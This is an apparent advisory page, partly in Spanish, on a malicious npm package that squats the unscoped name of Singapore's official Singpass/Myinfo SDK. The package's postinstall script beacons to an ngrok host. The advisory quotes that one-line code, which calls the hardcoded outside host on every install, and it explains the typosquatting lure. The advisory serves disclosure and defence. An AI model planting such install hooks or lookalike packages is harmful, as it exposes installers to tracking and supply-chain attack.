MAL-2026-20062
Malicious code in singpass-myinfo-oidc-helper (npm)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | MAL-2026-20062 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
singpass-myinfo-oidc-helper is a name-squatting package: it takes the unscoped form of the official Singpass/Myinfo SDK `@govtechsg/singpass-myinfo-oidc-helper` (Singapore's national digital identity), so a project that installs the name without its scope, or a build that resolves the unscoped name from the public registry, receives this package instead. Versions 0.0.1 and 0.0.2, published on 2026-11-17, declare a `postinstall` script that runs `node postinstall.js`, which sends an HTTPS GET to `https://claim-test.ngrok.app/hello-world`, an ngrok tunnel controlled by a third party. The request carries no payload, but it confirms the install to that party and discloses the installing machine's public IP address and the time of the install. The script never consumes the response, so the install can hang until the remote side closes the connection. `index.js` only prints a notice; the package describes itself as a "Security research placeholder". The `0.0.0-stage` placeholder carries no install script and is not affected. Remove the package, depend on `@govtechsg/singpass-myinfo-oidc-helper` instead, and block `claim-test.ngrok.app` on build hosts.
The package runs a postinstall script that issues an HTTPS GET to the hardcoded host https://claim-test.ngrok.app/hello-world on every npm install (https.get("https://claim-test.ngrok.app/hello-world", () => {}).on("error", () => {})). The destination is an ngrok tunnel unrelated to any legitimate Singpass/MyInfo publisher and is not configurable. The package name resembles @govtechsg/singpass-myinfo-oidc-helper, and the shipped contents provide no library functionality, acting as a typosquat lure. The beacon confirms installation on the installer's machine to the operator of the ngrok endpoint, exposing the installer's IP and request metadata and enabling attack-surface mapping of hosts that pulled the lookalike name.
The OpenSSF Package Analysis project identified 'singpass-myinfo-oidc-helper' @ 0.0.2 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
Versiones afectadas
0.0.20.0.1Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmsingpass-myinfo-oidc-helper |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://www.npmjs.com/package/singpass-myinfo-oidc-helper/v/0.0.2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
